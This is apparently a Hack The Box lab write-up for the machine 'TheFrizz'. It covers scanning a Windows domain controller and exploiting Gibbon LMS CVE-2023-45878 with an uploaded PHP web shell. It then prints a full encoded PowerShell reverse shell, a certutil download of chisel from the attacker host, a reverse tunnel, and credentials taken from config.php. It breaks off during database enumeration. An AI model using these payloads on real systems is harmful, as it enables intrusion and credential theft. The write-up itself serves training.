HTB – theFrizz

by | Aug 1, 2025

Table of Contents

    https://www.hackthebox.com/machines/TheFrizz


    Reconnaissance

    nmap/TCP

    nmap detected a bunch of open ports which is typical for a Domain Controller:

    croc@hacker$ rustscan -a 10.10.11.60 --ulimit 5000 -- -A -T5 -oA Initial  
    [~] Automatically increasing ulimit value to 5000.
    Open 10.10.11.60:22
    Open 10.10.11.60:53
    Open 10.10.11.60:80
    Open 10.10.11.60:88
    Open 10.10.11.60:135
    Open 10.10.11.60:139
    Open 10.10.11.60:389
    Open 10.10.11.60:445
    Open 10.10.11.60:464
    Open 10.10.11.60:593
    Open 10.10.11.60:636
    Open 10.10.11.60:3268
    Open 10.10.11.60:3269
    Open 10.10.11.60:49668
    Open 10.10.11.60:49670
    Open 10.10.11.60:49664
    Open 10.10.11.60:56803
    Open 10.10.11.60:56807
    Open 10.10.11.60:56817
    [~] Starting Nmap
    [>] The Nmap command to be run is nmap -A -T5 -oA Initial -vvv -p 22,53,80,88,135,139,389,445,464,593,636,3268,3269,49668,49670,49664,56803,56807,56817 10.10.11.60
    
    Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-21 05:58 EDT
    Nmap scan report for 10.10.11.60
    Host is up, received echo-reply ttl 127 (0.25s latency).
    Scanned at 2025-03-21 05:59:14 EDT for 123s
    
    PORT      STATE SERVICE       REASON          VERSION
    22/tcp    open  ssh           syn-ack ttl 127 OpenSSH for_Windows_9.5 (protocol 2.0)
    53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
    80/tcp    open  http          syn-ack ttl 127 Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
    | http-methods: 
    |_  Supported Methods: GET HEAD POST OPTIONS
    | http-title: Education  Walkerville Elementary School
    |_Requested resource was http://frizzdc.frizz.htb/home/
    |_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
    88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-03-21 16:59:26Z)
    135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
    139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
    389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
    445/tcp   open  microsoft-ds? syn-ack ttl 127
    464/tcp   open  kpasswd5?     syn-ack ttl 127
    593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
    636/tcp   open  tcpwrapped    syn-ack ttl 127
    3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
    3269/tcp  open  tcpwrapped    syn-ack ttl 127
    49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
    49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
    49670/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
    56803/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
    56807/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
    56817/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
    Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
    Device type: general purpose
    Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%)
    OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016
    OS fingerprint not ideal because: Timing level 5 (Insane) used
    Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
    No exact OS matches for host (test conditions non-ideal).
    
    Uptime guess: 0.038 days (since Fri Mar 21 05:07:11 2025)
    Network Distance: 2 hops
    TCP Sequence Prediction: Difficulty=255 (Good luck!)
    IP ID Sequence Generation: Incremental
    Service Info: Hosts: localhost, FRIZZDC; OS: Windows; CPE: cpe:/o:microsoft:windows
    
    Host script results:
    | p2p-conficker: 
    |   Checking for Conficker.C or higher...
    |   Check 1 (port 21203/tcp): CLEAN (Failed to receive data)
    |   Check 2 (port 49016/tcp): CLEAN (Couldn't connect)
    |   Check 3 (port 49509/udp): CLEAN (Timeout)
    |   Check 4 (port 31256/udp): CLEAN (Timeout)
    |_  0/4 checks are positive: Host is CLEAN or ports are blocked
    |_smb2-time: Protocol negotiation failed (SMB2)
    |_smb2-security-mode: Couldn't establish a SMBv2 connection.
    
    TRACEROUTE (using port 22/tcp)
    HOP RTT       ADDRESS
    1   238.21 ms 10.10.14.1
    2   238.47 ms 10.10.11.60
    
    OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 137.54 seconds
               Raw packets sent: 107 (8.392KB) | Rcvd: 53 (3.060KB)
    

    The hostname of the box is FRIZZDC so I added FRIZZDC.frizz.htb and frizz.htb into the hosts file.

    croc@hacker$ sudo sed -i '$a10.10.11.60\tFRIZZDC.frizz.htb frizz.htb' etc/hosts

    LDAP – 389/TCP

    Anonymous LDAP lookup failed, need a valid credential.

    croc@hacker$ ldapsearch -x -H ldap://frizzdc.frizz.htb -D '' -w '' -b 'DC=frizz,DC=htb'
    # extended LDIF
    #
    # LDAPv3
    # base <DC=frizz,DC=htb> with scope subtree
    # filter: (objectclass=*)
    # requesting: ALL
    #
    
    # search result
    search: 2
    result: 1 Operations error
    text: 000004DC: LdapErr: DSID-0C090CB6, comment: In order to perform this opera
     tion a successful bind must be completed on the connection., data 0, v4f7c
    
    # numResponses: 1

    SMB – 445/TCP

    No luck with null authentication. A STATUS_NOT_SUPPORTED error appears indicating that the type of authentication mechanism being used is not supported.

    croc@hacker$ nxc smb frizzdc.frizz.htb -u '' -p '' --shares
    SMB         10.10.11.60     445    10.10.11.60      [*]  x64 (name:10.10.11.60) (domain:10.10.11.60) (signing:True) (SMBv1:False)
    SMB         10.10.11.60     445    10.10.11.60      [-] 10.10.11.60\: STATUS_NOT_SUPPORTED 
    SMB         10.10.11.60     445    10.10.11.60      [-] IndexError: list index out of range
    SMB         10.10.11.60     445    10.10.11.60      [-] Error enumerating shares: Error occurs while reading from remote(104)
                                                                                                          
    croc@hacker$ nxc smb frizzdc.frizz.htb -u 'guest' -p '' --shares
    SMB         10.10.11.60     445    10.10.11.60      [*]  x64 (name:10.10.11.60) (domain:10.10.11.60) (signing:True) (SMBv1:False)
    SMB         10.10.11.60     445    10.10.11.60      [-] 10.10.11.60\guest: STATUS_NOT_SUPPORTED

    💡 Think Box

    HTTP – 80/TCP

    Main Page

    The IP address of the box, 10.10.11.60 redirected to frizzdc.frizz.htb/home. This looks like a school website for the Walkerville Elementary School.

    The following looks like base64 encoded text which may be interesting.

    ChatGPT decoded it for me and it says:

    Staff Login – Gibbon LMS

    On the Staff Login Page, I found out that the Gibbon LMS v25.0.00 is in use which is an open-source learning management system designed for educational institutions.

    Read the Notice carefully:

    💡 Think Box

    Forgot Password

    On the Forgot Password page, we have username validation. Following is a failed attempt where the email address tried doesn’t exist.

    On the other hand, trying out a bunch of different combinations for Ms. Fiona Frizzle i.e. Firstinitial Lastname or firstname.lastname, I found a valid username of f.frizzle@frizz.htb:

    I indeed verified that using kerbrute as well:

    croc@hacker$ echo "f.frizzle" > kerb
    
    croc@hacker$ kerbrute userenum -d frizz.htb --dc 10.10.11.60 -o kerbrute.log ./kerb    
    
        __             __               __     
       / /_____  _____/ /_  _______  __/ /____ 
      / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
     / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
    /_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        
    
    Version: v1.0.3 (9dad6e1) - 03/22/25 - Ronnie Flathers @ropnop
    
    2025/03/22 13:43:16 >  Using KDC(s):
    2025/03/22 13:43:16 >  	10.10.11.60:88
    
    2025/03/22 13:43:16 >  [+] VALID USERNAME:	 f.frizzle@frizz.htb
    2025/03/22 13:43:16 >  Done! Tested 1 usernames (1 valid) in 0.417 seconds
    

    💡 Think Box

    CVEs Enumeration – Gibbon v25.0.0

    Initially, I looked for exploits for Gibbon v25.0.0 & found a LFI exploit but that turned out to be a rabbit hole as I didn’t find anything useful in gibbon.sql file with that.

    After that, I decided to look for vulnerabilities in higher versions and found two of them:

    NVD – CVE-2023-45878
    nvd.nist.gov

    Gibbon LMS < v26.0.00 – Authenticated RCE – PHP webapps Exploit
    Gibbon LMS < v26.0.00 – Authenticated RCE.. webapps exploit for PHP platform
    www.exploit-db.com

    The latter one is an authenticated RCE. Since we don’t have valid credentials yet, let’s set it aside for now and focus on the other exploit.

    Gibbon v25.0.1 – Arbitrary File Write(CVE-2023-45878)

    This allows unauthenticated users to upload arbitrary files and eventually gain remote code execution on the underlying system.

    usd-2023-0025 – usd HeroLab
    Advisory ID: usd-2023-0025 (CVE-2023-45878) | Product: Gibbon Edu | Vulnerability Type: Arbitrary File Write (CWE-434)
    herolab.usd.de

    Using this PoC, I uploaded the payload <?php echo system($_GET['cmd'])?> to the file croc.php on the server. Below is the POST request and the response:

    REQUEST:

    Note that the base installation directory of Gibbon in our scenario is Gibbon-LMS as seen in the URL here.

    💡 Point to Ponder

    RESPONSE:

    The payload file has been successfully uploaded to the server.

    And, just like that, we have Remote Code Execution(RCE) here:

    Shell as w.webservice

    Payload Generation

    I used revshells.com in order to generate the following base64 encoded powershell reverse shell payload.

    powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMgAzADkAIgAsADgAOAA4ADgAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA

    Reverse Shell

    I sent the powershell payload as a parameter which upon execution will return us a reverse shell.

    And, here is our shell:

    croc@hacker$ nc -nvlp 8888
    listening on [any] 8888 ...
    connect to [10.10.14.104] from (UNKNOWN) [10.10.11.60] 55731
    
    PS C:\xampp\htdocs\Gibbon-LMS>

    Further Enumeration

    System Information

    PS C:\xampp\htdocs\Gibbon-LMS> systeminfo
    
    Host Name:                 FRIZZDC
    OS Name:                   Microsoft Windows Server 2022 Datacenter
    OS Version:                10.0.20348 N/A Build 20348
    OS Manufacturer:           Microsoft Corporation
    OS Configuration:          Primary Domain Controller
    OS Build Type:             Multiprocessor Free
    Registered Owner:          Windows User
    Registered Organization:   
    Product ID:                00454-70295-72962-AA557
    Original Install Date:     10/29/2024, 9:13:01 AM
    System Boot Time:          4/25/2025, 10:01:14 AM
    System Manufacturer:       VMware, Inc.
    System Model:              VMware Virtual Platform
    System Type:               x64-based PC
    Processor(s):              1 Processor(s) Installed.
                               [01]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2445 Mhz
    BIOS Version:              Phoenix Technologies LTD 6.00, 11/12/2020
    Windows Directory:         C:\Windows
    System Directory:          C:\Windows\system32
    Boot Device:               \Device\HarddiskVolume1
    System Locale:             en-us;English (United States)
    Input Locale:              en-us;English (United States)
    Time Zone:                 (UTC-08:00) Pacific Time (US & Canada)
    Total Physical Memory:     4,095 MB
    Available Physical Memory: 2,587 MB
    Virtual Memory: Max Size:  4,095 MB
    Virtual Memory: Available: 2,529 MB
    Virtual Memory: In Use:    1,566 MB
    Page File Location(s):     N/A
    Domain:                    frizz.htb
    Logon Server:              N/A
    Hotfix(s):                 N/A
    Network Card(s):           1 NIC(s) Installed.
                               [01]: vmxnet3 Ethernet Adapter
                                     Connection Name: Ethernet0 2
                                     DHCP Enabled:    No
                                     IP address(es)
                                     [01]: 10.10.11.60
                                     [02]: fe80::ea33:d9de:c23b:2a80
    Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.
    

    Domain Users

    PS C:\xampp\htdocs\Gibbon-LMS> Get-ADUser -Filter * -Properties DisplayName | Select-Object SamAccountName
    
    SamAccountName
    --------------
    Administrator 
    Guest         
    krbtgt        
    f.frizzle     
    w.li          
    h.arm         
    M.SchoolBus   
    d.hudson      
    k.franklin    
    l.awesome     
    t.wright      
    r.tennelli    
    J.perlstein   
    a.perlstein   
    p.terese      
    v.frizzle     
    g.frizzle     
    c.sandiego    
    c.ramon       
    m.ramon       
    w.Webservice 

    Domain Groups

    PS C:\xampp\htdocs\Gibbon-LMS> Get-ADGroup -Filter * | % { $g=$_.Name; $m=Get-ADGroupMember $_ -EA 0; if ($m) { "`n$g`n" + ('-'*$g.Length); $m | % Name } }
    
    Administrators
    --------------
    v.frizzle
    Domain Admins
    Enterprise Admins
    Administrator
    
    Users
    -----
    Domain Users
    Authenticated Users
    INTERACTIVE
    
    Guests
    ------
    Domain Guests
    Guest
    
    IIS_IUSRS
    ---------
    IUSR
    
    Remote Management Users
    -----------------------
    M.SchoolBus
    f.frizzle
    
    Domain Controllers
    ------------------
    FRIZZDC
    
    Schema Admins
    -------------
    Administrator
    
    Enterprise Admins
    -----------------
    Administrator
    
    Domain Admins
    -------------
    Administrator
    v.frizzle
    
    Domain Users
    ------------
    Administrator
    krbtgt
    f.frizzle
    w.li
    h.arm
    M.SchoolBus
    d.hudson
    k.franklin
    l.awesome
    t.wright
    r.tennelli
    J.perlstein
    a.perlstein
    p.terese
    v.frizzle
    g.frizzle
    c.sandiego
    c.ramon
    m.ramon
    w.Webservice
    
    Domain Guests
    -------------
    Guest
    
    Group Policy Creator Owners
    ---------------------------
    Administrator
    Desktop Admins
    
    Pre-Windows 2000 Compatible Access
    ----------------------------------
    Authenticated Users
    
    Windows Authorization Access Group
    ----------------------------------
    ENTERPRISE DOMAIN CONTROLLERS
    
    Denied RODC Password Replication Group
    --------------------------------------
    Read-only Domain Controllers
    Group Policy Creator Owners
    Domain Admins
    Cert Publishers
    Enterprise Admins
    Schema Admins
    Domain Controllers
    krbtgt
    
    Desktop Admins
    --------------
    M.SchoolBus

    Interesting Files

    A configuration file named config.php was spotted under the base installation directory of gibbon:

    PS C:\xampp\htdocs\Gibbon-LMS> dir
    
    
        Directory: C:\xampp\htdocs\Gibbon-LMS
    
    
    Mode                 LastWriteTime         Length Name                                                                 
    ----                 -------------         ------ ----                                                                 
    d-----         1/20/2023   6:04 AM                i18n                                                                 
    d-----         1/20/2023   6:04 AM                installer                                                            
    d-----         1/20/2023   6:04 AM                lib                                                                  
    d-----         1/20/2023   6:04 AM                modules                                                              
    d-----         1/20/2023   6:04 AM                resources                                                            
    d-----         1/20/2023   6:04 AM                src                                                                  
    d-----         1/20/2023   6:04 AM                themes                                                               
    d-----         3/22/2025   6:46 PM                uploads                                                              
    d-----         1/20/2023   6:04 AM                vendor                                                               
    -a----         1/20/2023   6:04 AM            634 .htaccess                                                            
    -a----         1/20/2023   6:04 AM         197078 CHANGEDB.php                                                         
    -a----         1/20/2023   6:04 AM         103023 CHANGELOG.txt                                                        
    -a----         1/20/2023   6:04 AM           2972 composer.json                                                        
    -a----         1/20/2023   6:04 AM         294353 composer.lock                                                        
    -a----        10/11/2024   8:15 PM           1307 config.php                                                           
    -a----         1/20/2023   6:04 AM           3733 error.php                                                            
    -a----         1/20/2023   6:04 AM           1608 export.php                                                           
    -a----         1/20/2023   6:04 AM          32988 favicon.ico                                                          
    -a----         1/20/2023   6:04 AM           2277 fullscreen.php                                                       
    -a----         1/20/2023   6:04 AM          57535 functions.php                                                        
    -a----         1/20/2023   6:04 AM           5610 gibbon.php                                                           
    -a----        10/29/2024   7:27 AM         493211 gibbon.sql                                                           
    -a----         1/20/2023   6:04 AM        1254473 gibbon_demo.sql                                                      
    -a----         1/20/2023   6:04 AM          31228 index.php                                                            
    -a----         1/20/2023   6:04 AM           2356 indexExport.php                                                      
    -a----         1/20/2023   6:04 AM            813 indexFindRedirect.php                                                
    -a----         1/20/2023   6:04 AM          12327 index_fastFinder_ajax.php                                            
    -a----         1/20/2023   6:04 AM           2579 index_notification_ajax.php                                          
    -a----         1/20/2023   6:04 AM           2767 index_notification_ajax_alarm.php                                    
    -a----         1/20/2023   6:04 AM           1690 index_notification_ajax_alarmConfirmProcess.php                      
    -a----         1/20/2023   6:04 AM           1647 index_notification_ajax_alarmProcess.php                             
    -a----         1/20/2023   6:04 AM           1245 index_notification_ajax_alarm_tickUpdate.php                         
    -a----         1/20/2023   6:04 AM           2142 index_parentPhotoDeleteProcess.php                                   
    -a----         1/20/2023   6:04 AM           3549 index_parentPhotoUploadProcess.php                                   
    -a----         1/20/2023   6:04 AM           2046 index_tt_ajax.php                                                    
    -a----         1/20/2023   6:04 AM            753 keepAlive.php                                                        
    -a----         1/20/2023   6:04 AM          35113 LICENSE                                                              
    -a----         1/20/2023   6:04 AM           7589 login.php                                                            
    -a----         1/20/2023   6:04 AM           1263 logout.php                                                           
    -a----         1/20/2023   6:04 AM           3905 notifications.php                                                    
    -a----         1/20/2023   6:04 AM           2110 notificationsActionProcess.php                                       

    This file revealed a set of database credential – MrGibbonsDB / MisterGibbs!Parrot!?1.

    PS C:\xampp\htdocs\Gibbon-LMS> Get-Content config.php
    <?php
    /*
    Gibbon, Flexible & Open School System
    Copyright (C) 2010, Ross Parker
    
    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.
    
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.
    
    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <http://www.gnu.org/licenses/>.
    */
    
    /**
     * Sets the database connection information.
     * You can supply an optional $databasePort if your server requires one.
     */
    $databaseServer = 'localhost';
    $databaseUsername = 'MrGibbonsDB';
    $databasePassword = 'MisterGibbs!Parrot!?1';
    $databaseName = 'gibbon';
    
    /**
     * Sets a globally unique id, to allow multiple installs on a single server.
     */
    $guid = '7y59n5xz-uym-ei9p-7mmq-83vifmtyey2';
    
    /**
     * Sets system-wide caching factor, used to balance performance and freshness.
     * Value represents number of page loads between cache refresh.
     * Must be positive integer. 1 means no caching.
     */
    $caching = 10;

    Gibbon LMS uses mysql as its database backend according to its documentation:

    System Requirements | Gibbon Documentation
    The Free, Flexible, Open Source School Software
    docs.gibbonedu.org

    💡 Think Box

    Non-default Running Services

    The following command shows all the running services other than the default ones. As per our expectation, mysql is running as a service here:

    PS C:\xampp\htdocs\Gibbon-LMS> Get-CimInstance -ClassName Win32_Service | Where-Object { $_.State -eq 'Running' -and $_.PathName -notlike 'C:\Windows\System32*' } | Select-Object Name, StartName, PathName | Sort-Object Name | Format-List
    
    
    Name      : ADWS
    StartName : LocalSystem
    PathName  : C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe
    
    Name      : Apache2.4
    StartName : w.webservice@frizz.htb
    PathName  : "C:\xampp\apache\bin\httpd.exe" -k runservice
    
    Name      : LSM
    StartName : 
    PathName  : 
    
    Name      : mysql
    StartName : w.webservice@frizz.htb
    PathName  : C:\xampp\mysql\bin\mysqld --defaults-file=C:\xampp\mysql\bin\my.ini mysql
    
    Name      : VGAuthService
    StartName : LocalSystem
    PathName  : "C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe"
    
    Name      : VMTools
    StartName : LocalSystem
    PathName  : "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"

    According to the mysql configuration file in-use here, it is utilizing the default port of 3306/tcp:

    PS C:\xampp\htdocs\Gibbon-LMS> Get-Content C:\xampp\mysql\bin\my.ini
    # Example MySQL config file for small systems.
    #
    # This is for a system with little memory (<= 64M) where MySQL is only used
    # from time to time and it's important that the mysqld daemon
    # doesn't use much resources.
    #
    # You can copy this file to
    # C:/xampp/mysql/bin/my.cnf to set global options,
    # mysql-data-dir/my.cnf to set server-specific options (in this
    # installation this directory is C:/xampp/mysql/data) or
    # ~/.my.cnf to set user-specific options.
    #
    # In this file, you can use all long options that a program supports.
    # If you want to know which options a program supports, run the program
    # with the "--help" option.
    
    # The following options will be passed to all MySQL clients
    [client]
    # password       = your_password 
    port=3306
    socket="C:/xampp/mysql/mysql.sock"
    ....

    We can indeed verify that mysql is actively listening for incoming connections on 3306:

    PS C:\xampp\htdocs\Gibbon-LMS> netstat -ano | findstr 3306
      TCP    0.0.0.0:3306           0.0.0.0:0              LISTENING       2528
      TCP    [::]:3306              [::]:0                 LISTENING       2528
      UDP    0.0.0.0:63306          *:*                                    1152

    🚀Way Forward

    Port Forwarding – Chisel

    You might be asking, Why Chisel?? Chisel is the most viable option in this scenario as it can operate without SSH access to the target.

    Transfer to the Target

    You can download the Windows version of chisel using the following commands:

    wget https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_windows_amd64.gz
    gzip -d chisel_1.10.1_windows_amd64.gz 

    After that, transfer it to the target using certutil.exe:

    PS C:\xampp\htdocs\Gibbon-LMS> certutil.exe -f -urlcache -split http://10.10.14.239/chisel_1.10.1_windows_amd64 chisel_1.10.1_windows_amd64.exe
    ****  Online  ****
      000000  ...
      94f000
    CertUtil: -URLCache command completed successfully.

    Start the Server

    Our aim is to do a remote port forwarding setup. Hence, we should run the chisel server on our attack box:

    croc@hacker$ chisel server --socks5 --reverse -p 9090
    2025/04/23 05:47:27 server: Reverse tunnelling enabled
    2025/04/23 05:47:27 server: Fingerprint 5T1NL2qs/AbOUmxRyvy0ZdLv0aoTYeztTYHFtR7U5H8=
    2025/04/23 05:47:27 server: Listening on http://0.0.0.0:9090

    Connect Back..

    We are going to connect back to our chisel server as a client and forward the port 3306/tcp on the target to 33061/tcp on our attack box.

    PS C:\xampp\htdocs\Gibbon-LMS> ./chisel_1.10.1_windows_amd64.exe client --fingerprint 5T1NL2qs/AbOUmxRyvy0ZdLv0aoTYeztTYHFtR7U5H8= 10.10.14.239:9090 R:33061:127.0.0.1:3306

    Our tunnel has been established as seen below:

    We can indeed verify it as well as we have an active connection:

    croc@hacker$ ss -tulpn | grep 33061
    tcp   LISTEN 0      4096                                  *:33061            *:*    users:(("chisel",pid=52843,fd=7))

    Connect using mysql

    Now, we can connect to the database using the credentials we already have:

    croc@hacker$ mysql -h 127.0.0.1 -P 33061 -u MrGibbonsDB -p'MisterGibbs!Parrot!?1' --skip-ssl
    Welcome to the MariaDB monitor.  Commands end with ; or \g.
    Your MariaDB connection id is 1219
    Server version: 10.4.32-MariaDB mariadb.org binary distribution
    
    Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
    
    Support MariaDB developers by giving a star at https://github.com/MariaDB/server
    Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
    
    MariaDB [(none)]>

    --skip-ssl is used to bypass encryption checks which were causing an error.

    Shell as f.frizzle

    Database Enumeration

    I went off by listing the databases and selected the gibbon database.

    MariaDB [(none)]> show databases;
    +--------------------+
    | Database           |
    +--------------------+
    | gibbon             |
    | information_schema |
    | test               |
    +--------------------+
    3 rows in set (0.347 sec)
    
    MariaDB [(none)]> use gibbon;
    Reading table information for completion of table and column names
    You can turn off this feature to get a quicker startup with -A
    
    Database changed

    After that, upon listing the tables, I was bombarded with 191 entries. That’s exhausting, right? So, what I did instead is modify my SQL query to only return tables that have rows greater than 0. It’s much better now!

    MariaDB [gibbon]> select table_name, table_rows from information_schema.tables where table_schema = 'gibbon' AND table_rows > 0;
    +-------------------------------+------------+
    | table_name                    | table_rows |
    +-------------------------------+------------+
    | gibbonaction                  |        357 |
    | gibbonactivity                |         99 |
    | gibbonactivityslot            |         95 |
    | gibbonactivitystaff           |        244 |
    | gibbonalertlevel              |          3 |
    | gibbonattendancecode          |          6 |
    | gibboncountry                 |        240 |
    | gibboncourse                  |        126 |
    | gibboncourseclass             |        242 |
    | gibboncourseclassperson       |       3764 |
    | gibbondaysofweek              |          7 |
    | gibbondepartment              |         13 |
    | gibbondepartmentstaff         |        167 |
    | gibbonemailtemplate           |         14 |
    | gibbonexternalassessment      |          3 |
    | gibbonexternalassessmentfield |        128 |
    | gibbonfamily                  |        738 |
    | gibbonfamilyadult             |       1448 |
    | gibbonfamilychild             |        910 |
    | gibbonfileextension           |         45 |
    | gibbonfinancefeecategory      |          5 |
    | gibbonformfield               |        104 |
    | gibbonformgroup               |         19 |
    | gibbonformpage                |          5 |
    | gibbonhouse                   |          3 |
    | gibboni18n                    |         46 |
    | gibbonindescriptor            |          3 |
    | gibbonlanguage                |         83 |
    | gibbonlibraryitem             |         11 |
    | gibbonlibrarytype             |          8 |
    | gibbonlog                     |         17 |
    | gibbonmedicalcondition        |         27 |
    | gibbonmessenger               |         14 |
    | gibbonmessengertarget         |         42 |
    | gibbonmodule                  |         25 |
    | gibbonnotificationevent       |         35 |
    | gibbonoutcome                 |          9 |
    | gibbonpermission              |        482 |
    | gibbonperson                  |          1 |
    | gibbonpersonaldocumenttype    |          5 |
    | gibbonplannerentry            |          5 |
    | gibbonreportingcriteriatype   |          2 |
    | gibbonresource                |          6 |
    | gibbonresourcetag             |         35 |
    | gibbonrole                    |          5 |
    | gibbonrubriccell              |         54 |
    | gibbonrubriccolumn            |          6 |
    | gibbonrubricrow               |          9 |
    | gibbonscale                   |         14 |
    | gibbonscalegrade              |        329 |
    | gibbonschoolyear              |          2 |
    | gibbonschoolyearterm          |          6 |
    | gibbonsession                 |         18 |
    | gibbonsetting                 |        313 |
    | gibbonspace                   |         60 |
    | gibbonstaff                   |        166 |
    | gibbonstaffabsencetype        |          4 |
    | gibbonstudentenrolment        |        391 |
    | gibbonstudentnotecategory     |          4 |
    | gibbonttcolumn                |          5 |
    +-------------------------------+------------+
    60 rows in set (0.306 sec)

    Looking up on Google for tables where the personal information of users might be stored, I found this forum where they state gibbonPerson table to be the one.

    Some data is missing – Security – Gibbon Support Forum
    OK, the title is a bit scary for you gibbon developers, I know but… I want to assure my school team leaders and managers that this system is safe and secure. So, I would like to point them to all the locations of the d…
    ask.gibbonedu.org

    Let’s see the structure of the gibbonPerson table:

    MariaDB [gibbon]> DESC gibbonPerson;
    +---------------------------+-------------------------------------------------------+------+-----+-------------+----------------+
    | Field                     | Type                                                  | Null | Key | Default     | Extra          |
    +---------------------------+-------------------------------------------------------+------+-----+-------------+----------------+
    | gibbonPersonID            | int(10) unsigned zerofill                             | NO   | PRI | NULL        | auto_increment |
    | title                     | varchar(5)                                            | NO   |     | NULL        |                |
    | surname                   | varchar(60)                                           | NO   |     |             |                |
    | firstName                 | varchar(60)                                           | NO   |     |             |                |
    | preferredName             | varchar(60)                                           | NO   |     |             |                |
    | officialName              | varchar(150)                                          | NO   |     | NULL        |                |
    | nameInCharacters          | varchar(60)                                           | NO   |     | NULL        |                |
    | gender                    | enum('M','F','Other','Unspecified')                   | NO   |     | Unspecified |                |
    | username                  | varchar(20)                                           | NO   | UNI | NULL        |                |
    | passwordStrong            | varchar(255)                                          | NO   |     | NULL        |                |
    | passwordStrongSalt        | varchar(255)                                          | NO   |     | NULL        |                |
    | passwordForceReset        | enum('N','Y')                                         | NO   |     | N           |                |
    | status                    | enum('Full','Expected','Left','Pending Approval')     | NO   |     | Full        |                |
    | canLogin                  | enum('Y','N')                                         | NO   |     | Y           |                |
    | gibbonRoleIDPrimary       | int(3) unsigned zerofill                              | NO   |     | NULL        |                |
    | gibbonRoleIDAll           | varchar(255)                                          | NO   |     | NULL        |                |
    | dob                       | date                                                  | YES  |     | NULL        |                |
    | email                     | varchar(75)                                           | YES  |     | NULL        |                |
    | emailAlternate            | varchar(75)                                           | YES  |     | NULL        |                |
